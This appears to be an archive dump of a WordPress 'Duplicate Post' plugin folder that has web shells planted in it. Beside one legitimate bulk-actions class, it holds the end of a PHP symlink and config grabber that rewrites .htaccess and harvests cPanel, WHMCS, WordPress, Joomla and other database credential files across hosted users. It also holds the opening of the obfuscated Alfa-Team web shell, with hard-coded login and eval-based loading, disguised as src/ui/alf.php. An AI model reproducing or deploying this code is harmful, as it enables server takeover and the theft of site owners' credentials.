<option title="home7" value="home7">home7</option>
<option title="home8" value="home8">home8</option> 
<option title="home9" value="home9">home9</option>
<option title="home10" value="home10">home10</option> 
</select><br>
.htaccess : 
<select name="Achon666ju5t">
<option title="biasa" value="Options Indexes FollowSymLinks
DirectoryIndex Achon666ju5t.3xcr3w
AddType txt .php
AddHandler txt .php">Apache 1</option>
<option title="Apache" value="Options all
Options +Indexes 
Options +FollowSymLinks 
DirectoryIndex Achon666ju5t.3xcr3w
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any">Apache 2</option>
<option title="Litespeed" value=" 
Options +FollowSymLinks
DirectoryIndex Achon666ju5t.3xcr3w
RemoveHandler .php
AddType application/octet-stream .php ">Litespeed</option>
</select>
<input style="color:red;background-color:#000000" name="conf" size="10"
 value="Hajar Goblok!!!" type="submit">
<br/><br/></form>';
if ($_POST['conf']) {
$home = $_POST['home'];
$folfig = $home;
@mkdir($folfig, 0755); 
@chdir($folfig);
$htaccess = $_POST['Achon666ju5t'];
file_put_contents(".htaccess",$htaccess,FILE_APPEND);
$passwd=explode("\n",$_POST["passwd"]); 
foreach($passwd as $pwd){ $user=trim($pwd);
symlink('/','000~ROOT~000');
copy('/'.$home.'/'.$user.'/.my.cnf',$user.'  CPANEL');
symlink('/'.$home.'/'.$user.'/.my.cnf',$user.'  CPANEL');
copy('/'.$home.'/'.$user.'/.accesshash',$user.'  WHMCS.txt');
symlink('/'.$home.'/'.$user.'/.accesshash',$user.'  WHMCS.txt');
copy('/'.$home.'/'.$user.'/public_html/suspended.page/index.html',$user.'  RESELLER.txt');
symlink('/'.$home.'/'.$user.'/public_html/suspended.page/index.html',$user.'  RESELLER.txt');
symlink('/'.$home.'/'.$user.'/public_html/.accesshash',$user.'  WHMCS.txt');
copy('/'.$home.'/'.$user.'/public_html/wp-config.php',$user.'  WORDPRESS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/configuration.php',$user.'  WHMCS or JOOMLA.txt');
copy('/'.$home.'/'.$user.'/public_html/account/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/accounts/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/buy/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/checkout/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/central/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/clienti/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/client/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/cliente/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/clientes/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/clients/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/clientarea/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/clientsarea/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/client-area/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/clients-area/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/clientzone/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/client-zone/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/core/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/company/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/customer/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/customers/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/bill/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/billing/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/finance/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/financeiro/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/host/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/hosts/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/hosting/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/hostings/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/klien/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/manage/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/manager/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/member/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/members/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/my/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/myaccount/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/my-account/client/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/myaccounts/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/my-accounts/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/order/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/orders/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/painel/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/panel/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/panels/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/portal/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/portals/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/purchase/configuration.php',$user.'  WHMCS.txt'); 

copy('/'.$home.'/'.$user.'/public_html/secure/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/support/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/supporte/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/supports/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/web/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/webhost/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/webhosting/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/whm/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/whmcs/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/whmcs2/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/Whm/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/Whmcs/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/WHM/configuration.php',$user.'  WHMCS.txt'); 
copy('/'.$home.'/'.$user.'/public_html/WHMCS/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/wp-config.php',$user.'  WORDPRESS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/configuration.php',$user.'  WHMCS or JOOMLA.txt');
symlink('/'.$home.'/'.$user.'/public_html/account/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/accounts/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/buy/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/checkout/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/central/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/clienti/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/client/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/cliente/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/clientes/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/clients/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/clientarea/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/clientsarea/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/client-area/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/clients-area/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/clientzone/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/client-zone/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/core/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/company/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/customer/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/customers/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/bill/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/billing/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/finance/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/financeiro/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/host/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/hosts/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/hosting/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/hostings/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/klien/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/manage/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/manager/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/member/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/members/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/my/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/myaccount/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/my-account/client/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/myaccounts/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/my-accounts/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/order/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/orders/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/painel/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/panel/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/panels/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/portal/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/portals/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/purchase/configuration.php',$user.'  WHMCS.txt'); 

symlink('/'.$home.'/'.$user.'/public_html/secure/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/support/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/supporte/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/supports/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/web/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/webhost/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/webhosting/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/whm/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/whmcs/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/whmcs2/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/Whm/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/Whmcs/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/WHM/configuration.php',$user.'  WHMCS.txt'); 
symlink('/'.$home.'/'.$user.'/public_html/WHMCS/configuration.php',$user.'  WHMCS.txt');
copy('/'.$home.'/'.$user.'/public_html/wp/test/wp-config.php',$user.'  WORDPRESS.txt');
copy('/'.$home.'/'.$user.'/public_html/blog/wp-config.php',$user.'  WORDPRESS.txt');
copy('/'.$home.'/'.$user.'/public_html/beta/wp-config.php',$user.'  WORDPRESS.txt');
copy('/'.$home.'/'.$user.'/public_html/portal/wp-config.php',$user.'  WORDPRESS.txt');
copy('/'.$home.'/'.$user.'/public_html/site/wp-config.php',$user.'  WORDPRESS.txt');
copy('/'.$home.'/'.$user.'/public_html/wp/wp-config.php',$user.'  WORDPRESS.txt');
copy('/'.$home.'/'.$user.'/public_html/WP/wp-config.php',$user.'  WORDPRESS.txt');
copy('/'.$home.'/'.$user.'/public_html/news/wp-config.php',$user.'  WORDPRESS.txt');
copy('/'.$home.'/'.$user.'/public_html/wordpress/wp-config.php',$user.'  WORDPRESS.txt');
copy('/'.$home.'/'.$user.'/public_html/test/wp-config.php',$user.'  WORDPRESS.txt');
copy('/'.$home.'/'.$user.'/public_html/demo/wp-config.php',$user.'  WORDPRESS.txt');
copy('/'.$home.'/'.$user.'/public_html/home/wp-config.php',$user.'  WORDPRESS.txt');
copy('/'.$home.'/'.$user.'/public_html/v1/wp-config.php',$user.'  WORDPRESS.txt');
copy('/'.$home.'/'.$user.'/public_html/v2/wp-config.php',$user.'  WORDPRESS.txt');
copy('/'.$home.'/'.$user.'/public_html/press/wp-config.php',$user.'  WORDPRESS.txt');
copy('/'.$home.'/'.$user.'/public_html/new/wp-config.php',$user.'  WORDPRESS.txt');
copy('/'.$home.'/'.$user.'/public_html/blogs/wp-config.php',$user.'  WORDPRESS.txt');
copy('/'.$home.'/'.$user.'/public_html/blog/configuration.php',$user.'  JOOMLA.txt');
copy('/'.$home.'/'.$user.'/public_html/submitticket.php',$user.'  WHMCS.txt');
copy('/'.$home.'/'.$user.'/public_html/cms/configuration.php',$user.'  JOOMLA.txt');
copy('/'.$home.'/'.$user.'/public_html/beta/configuration.php',$user.'  JOOMLA.txt');
copy('/'.$home.'/'.$user.'/public_html/portal/configuration.php',$user.'  JOOMLA.txt');
copy('/'.$home.'/'.$user.'/public_html/site/configuration.php',$user.'  JOOMLA.txt');
copy('/'.$home.'/'.$user.'/public_html/main/configuration.php',$user.'  JOOMLA.txt');
copy('/'.$home.'/'.$user.'/public_html/home/configuration.php',$user.'  JOOMLA.txt');
copy('/'.$home.'/'.$user.'/public_html/demo/configuration.php',$user.'  JOOMLA.txt');
copy('/'.$home.'/'.$user.'/public_html/test/configuration.php',$user.'  JOOMLA.txt');
copy('/'.$home.'/'.$user.'/public_html/v1/configuration.php',$user.'  JOOMLA.txt');
copy('/'.$home.'/'.$user.'/public_html/v2/configuration.php',$user.'  JOOMLA.txt');
copy('/'.$home.'/'.$user.'/public_html/joomla/configuration.php',$user.'  JOOMLA.txt');
copy('/'.$home.'/'.$user.'/public_html/new/configuration.php',$user.'  JOOMLA.txt');
copy('/'.$home.'/'.$user.'/public_html/app/etc/local.xml',$user.'  MAGENTO.txt');
copy('/'.$home.'/'.$user.'/public_html/config/settings.inc.php',$user.'  PRESTASHOP.txt');
symlink('/'.$home.'/'.$user.'/public_html/wp/test/wp-config.php',$user.'  WORDPRESS.txt');
symlink('/'.$home.'/'.$user.'/public_html/blog/wp-config.php',$user.'  WORDPRESS.txt');
symlink('/'.$home.'/'.$user.'/public_html/beta/wp-config.php',$user.'  WORDPRESS.txt');
symlink('/'.$home.'/'.$user.'/public_html/portal/wp-config.php',$user.'  WORDPRESS.txt');
/* AUTHOR : Achon666ju5t */
symlink('/'.$home.'/'.$user.'/public_html/site/wp-config.php',$user.'  WORDPRESS.txt');
symlink('/'.$home.'/'.$user.'/public_html/wp/wp-config.php',$user.'  WORDPRESS.txt');
symlink('/'.$home.'/'.$user.'/public_html/WP/wp-config.php',$user.'  WORDPRESS.txt');
symlink('/'.$home.'/'.$user.'/public_html/news/wp-config.php',$user.'  WORDPRESS.txt');
symlink('/'.$home.'/'.$user.'/public_html/wordpress/wp-config.php',$user.'  WORDPRESS.txt');
symlink('/'.$home.'/'.$user.'/public_html/test/wp-config.php',$user.'  WORDPRESS.txt');
symlink('/'.$home.'/'.$user.'/public_html/demo/wp-config.php',$user.'  WORDPRESS.txt');
symlink('/'.$home.'/'.$user.'/public_html/home/wp-config.php',$user.'  WORDPRESS.txt');
symlink('/'.$home.'/'.$user.'/public_html/v1/wp-config.php',$user.'  WORDPRESS.txt');
symlink('/'.$home.'/'.$user.'/public_html/v2/wp-config.php',$user.'  WORDPRESS.txt');
symlink('/'.$home.'/'.$user.'/public_html/press/wp-config.php',$user.'  WORDPRESS.txt');
symlink('/'.$home.'/'.$user.'/public_html/new/wp-config.php',$user.'  WORDPRESS.txt');
symlink('/'.$home.'/'.$user.'/public_html/blogs/wp-config.php',$user.'  WORDPRESS.txt');
symlink('/'.$home.'/'.$user.'/public_html/blog/configuration.php',$user.'  JOOMLA.txt');
symlink('/'.$home.'/'.$user.'/public_html/submitticket.php',$user.'  WHMCS.txt');
symlink('/'.$home.'/'.$user.'/public_html/cms/configuration.php',$user.'  JOOMLA.txt');
symlink('/'.$home.'/'.$user.'/public_html/beta/configuration.php',$user.'  JOOMLA.txt');
symlink('/'.$home.'/'.$user.'/public_html/portal/configuration.php',$user.'  JOOMLA.txt');
symlink('/'.$home.'/'.$user.'/public_html/site/configuration.php',$user.'  JOOMLA.txt');
symlink('/'.$home.'/'.$user.'/public_html/main/configuration.php',$user.'  JOOMLA.txt');
symlink('/'.$home.'/'.$user.'/public_html/home/configuration.php',$user.'  JOOMLA.txt');
symlink('/'.$home.'/'.$user.'/public_html/demo/configuration.php',$user.'  JOOMLA.txt');
symlink('/'.$home.'/'.$user.'/public_html/test/configuration.php',$user.'  JOOMLA.txt');
symlink('/'.$home.'/'.$user.'/public_html/v1/configuration.php',$user.'JOOMLA.txt');
symlink('/'.$home.'/'.$user.'/public_html/v2/configuration.php',$user.'  JOOMLA.txt');
symlink('/'.$home.'/'.$user.'/public_html/joomla/configuration.php',$user.'  JOOMLA.txt');
symlink('/'.$home.'/'.$user.'/public_html/new/configuration.php',$user.'  JOOMLA.txt');
symlink('/'.$home.'/'.$user.'/public_html/app/etc/local.xml',$user.'  MAGENTO.txt');
symlink('/'.$home.'/'.$user.'/public_html/config/settings.inc.php',$user.'  PRESTASHOP.txt');
copy('/'.$home.'/'.$user.'/public_html/application/config/database.php',$user.'  ELLISLAB.txt');
copy('/'.$home.'/'.$user.'/public_html/admin/config.php',$user.'  OPENCART.txt');
copy('/'.$home.'/'.$user.'/public_html/default/settings.php',$user.'  DRUPAL.txt');
copy('/'.$home.'/'.$user.'/public_html/forum/config.php',$user.'  PHPBB.txt');
symlink('/'.$home.'/'.$user.'/public_html/application/config/database.php',$user.'  ELLISLAB.txt');
symlink('/'.$home.'/'.$user.'/public_html/admin/config.php',$user.'  OPENCART.txt');
symlink('/'.$home.'/'.$user.'/public_html/default/settings.php',$user.'  DRUPAL.txt');
symlink('/'.$home.'/'.$user.'/public_html/forum/config.php',$user.'  PHPBB.txt');
copy('/'.$home.'/'.$user.'/public_html/vb/includes/config.php',$user.'  VBULLETIN.txt');
copy('/'.$home.'/'.$user.'/public_html/includes/config.php',$user.'  VBULLETIN.txt');
copy('/'.$home.'/'.$user.'/public_html/forum/includes/config.php',$user.'  VBULLETIN.txt');
copy('/'.$home.'/'.$user.'/public_htm/config.php',$user.'  OTHER.txt');
copy('/'.$home.'/'.$user.'/public_htm/html/config.php',$user.'  PHPNUKE.txt');
symlink('/'.$home.'/'.$user.'/public_html/vb/includes/config.php',$user.'  VBULLETIN.txt');
symlink('/'.$home.'/'.$user.'/public_html/includes/config.php',$user.'  VBULLETIN.txt');
symlink('/'.$home.'/'.$user.'/public_html/forum/includes/config.php',$user.'  VBULLETIN.txt');
symlink('/'.$home.'/'.$user.'/public_htm/config.php',$user.'  OTHER.txt');
symlink('/'.$home.'/'.$user.'/public_htm/html/config.php',$user.'  PHPNUKE.txt');
copy('/'.$home.'/'.$user.'/public_htm/conn.php',$user.'  OTHER.txt');
symlink('/'.$home.'/'.$user.'/public_html/conn.php',$user.'  OTHER.txt');
symlink('/'.$home.'/'.$user.'/public_html/inc/config.inc.php',$user.'  OTHER.txt');
copy('/'.$home.'/'.$user.'/public_html/application/config/database.php',$user.'  OTHER.txt');
symlink('/'.$home.'/'.$user.'/public_html/application/config/database.php',$user.'  OTHER.txt');
copy('/'.$home.'/'.$user.'/public_html/inc/config.inc.php',$user.'  OTHER.txt');
copy('/var/www/wp-config.php','WORDPRESS.txt');
copy('/var/www/configuration.php','JOOMLA.txt');
copy('/var/www/config.inc.php','OPENJOURNAL.txt');
copy('/var/www/config.php','OTHER.txt');
copy('/var/www/config/koneksi.php','OTHER.txt');
copy('/var/www/include/config.php','OTHER.txt');
copy('/var/www/connect.php','OTHER.txt');
copy('/var/www/config/connect.php','OTHER.txt');
copy('/var/www/include/connect.php','OTHER.txt');
copy('/var/www/html/wp-config.php','WORDPRESS.txt');
copy('/var/www/html/configuration.php','JOOMLA.txt');
copy('/var/www/html/config.inc.php','OPENJOURNAL.txt');
copy('/var/www/html/config.php','OTHER.txt');
copy('/var/www/html/config/koneksi.php','OTHER.txt');
copy('/var/www/html/include/config.php','OTHER.txt');
copy('/var/www/html/connect.php','OTHER.txt');
copy('/var/www/html/config/connect.php','OTHER.txt');
copy('/var/www/html/include/connect.php','OTHER.txt');
symlink('/var/www/wp-config.php','WORDPRESS.txt');
symlink('/var/www/configuration.php','JOOMLA.txt');
symlink('/var/www/config.inc.php','OPENJOURNAL.txt');
symlink('/var/www/config.php','OTHER.txt');
symlink('/var/www/config/koneksi.php','OTHER.txt');
symlink('/var/www/include/config.php','OTHER.txt');
symlink('/var/www/connect.php','OTHER.txt');
symlink('/var/www/config/connect.php','OTHER.txt');
symlink('/var/www/include/connect.php','OTHER.txt');
symlink('/var/www/html/wp-config.php','WORDPRESS.txt');
symlink('/var/www/html/configuration.php','JOOMLA.txt');
symlink('/var/www/html/config.inc.php','OPENJOURNAL.txt');
symlink('/var/www/html/config.php','OTHER.txt');
symlink('/var/www/html/config/koneksi.php','OTHER.txt');
symlink('/var/www/html/include/config.php','OTHER.txt');
symlink('/var/www/html/connect.php','OTHER.txt');
symlink('/var/www/html/config/connect.php','OTHER.txt');
symlink('/var/www/html/include/connect.php','OTHER.txt');
}
echo '<b><a href='.$folfig.'>cek Disini goblok!!!</a></b></center>';
}
?>
</td></table></body></html>
src/ui/bulk-actions.php000064400000004251151327062330011060 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\UI;

use Yoast\WP\Duplicate_Post\Permissions_Helper;
use Yoast\WP\Duplicate_Post\Utils;

/**
 * Duplicate Post class to manage the bulk actions menu.
 */
class Bulk_Actions {

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Initializes the class.
	 *
	 * @param Permissions_Helper $permissions_helper The permissions helper.
	 */
	public function __construct( Permissions_Helper $permissions_helper ) {
		$this->permissions_helper = $permissions_helper;
	}

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( \intval( Utils::get_option( 'duplicate_post_show_link_in', 'bulkactions' ) ) === 0 ) {
			return;
		}

		\add_action( 'admin_init', [ $this, 'add_bulk_filters' ] );
	}

	/**
	 * Hooks the function to add the Rewrite & Republish option in the bulk actions for the selected post types.
	 *
	 * @return void
	 */
	public function add_bulk_filters() {
		if ( ! $this->permissions_helper->is_current_user_allowed_to_copy() ) {
			return;
		}

		$duplicate_post_types_enabled = $this->permissions_helper->get_enabled_post_types();
		foreach ( $duplicate_post_types_enabled as $duplicate_post_type_enabled ) {
			\add_filter( "bulk_actions-edit-{$duplicate_post_type_enabled}", [ $this, 'register_bulk_action' ] );
		}
	}

	/**
	 * Adds 'Rewrite & Republish' to the bulk action dropdown.
	 *
	 * @param array $bulk_actions The bulk actions array.
	 *
	 * @return array The bulk actions array.
	 */
	public function register_bulk_action( $bulk_actions ) {
		$is_draft_or_trash = isset( $_REQUEST['post_status'] ) && \in_array( $_REQUEST['post_status'], [ 'draft', 'trash' ], true );

		if ( \intval( Utils::get_option( 'duplicate_post_show_link', 'clone' ) ) === 1 ) {
			$bulk_actions['duplicate_post_bulk_clone'] = \esc_html__( 'Clone', 'duplicate-post' );
		}

		if ( ! $is_draft_or_trash
			&& \intval( Utils::get_option( 'duplicate_post_show_link', 'rewrite_republish' ) ) === 1 ) {
			$bulk_actions['duplicate_post_bulk_rewrite_republish'] = \esc_html__( 'Rewrite & Republish', 'duplicate-post' );
		}

		return $bulk_actions;
	}
}
src/ui/alf.php000064400001611656151327062330007245 0ustar00<?php
/*
	Author: 	Solevisible/Alfa-Team
	Telegram: 	https://telegram.me/solevisible
	YouTube: 	https://youtube.com/solevisible
	Gmail:		solevisible@gmail.com
	Date:		Monday, September 14, 2020
*/
$GLOBALS['oZgNypoPRU'] = array(
    'username' => 'alfa',
    'password' => 'a6f452ec3293d7fb72c5b677257b20ec',//md5(ehsan)
    'safe_mode' => '0',
    'login_page' => '403',
    'show_icons' => '1',
    'post_encryption' => false,
    'cgi_api' => true,
);

$CWppUDJxuf = 'fu' . 'n' . 'ct' . 'ion_' . 'e' . 'xist' . 's';
$aztJtafUXm = 'cha' . 'r' . 'C' . 'o' . 'd' . 'e' . 'A' . 't' . '';
$OVpGNqqFZs = 'e' . 'v' . 'al';
$psDEwGhsxg = 'gz' . 'inf' . 'late';

if (!$CWppUDJxuf('b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . ''))
{
    function vcnvSCZgBz($data)
    {
        if (empty($data)) return;
        $b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
        $o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;
        $ac = 0;
        $enc = '';
        $tmp_arr = array();
        if (!$data)
        {
            return $data;
        }
        do
        {
            $o1 = $aztJtafUXm($data, $i++);
            $o2 = $aztJtafUXm($data, $i++);
            $o3 = $aztJtafUXm($data, $i++);
            $bits = $o1 << 16 | $o2 << 8 | $o3;
            $h1 = $bits >> 18 & 0x3f;
            $h2 = $bits >> 12 & 0x3f;
            $h3 = $bits >> 6 & 0x3f;
            $h4 = $bits & 0x3f;
            $tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);
        }
        while ($i < strlen($data));
        $enc = implode($tmp_arr, '');
        $r = (strlen($data) % 3);
        return ($r ? substr($enc, 0, ($r - 3)) : $enc) . substr('===', ($r || 3));
    }
    function charCodeAt($data, $char)
    {
        return ord(substr($data, $char, 1));
    }
    function charAt($data, $char)
    {
        return substr($data, $char, 1);
    }
}
else
{
    function vcnvSCZgBz($s)
    {
        $b = 'b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . '';
        return $b($s);
    }
}
if (!$CWppUDJxuf('b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . ''))
{
    function zRtSHsbTzV($input)
    {
        if (empty($input)) return;
        $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        $chr1 = $chr2 = $chr3 = "";
        $enc1 = $enc2 = $enc3 = $enc4 = "";
        $i = 0;
        $output = "";
        $input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);
        do
        {
            $enc1 = strpos($keyStr, substr($input, $i++, 1));
            $enc2 = strpos($keyStr, substr($input, $i++, 1));
            $enc3 = strpos($keyStr, substr($input, $i++, 1));
            $enc4 = strpos($keyStr, substr($input, $i++, 1));
            $chr1 = ($enc1 << 2) | ($enc2 >> 4);
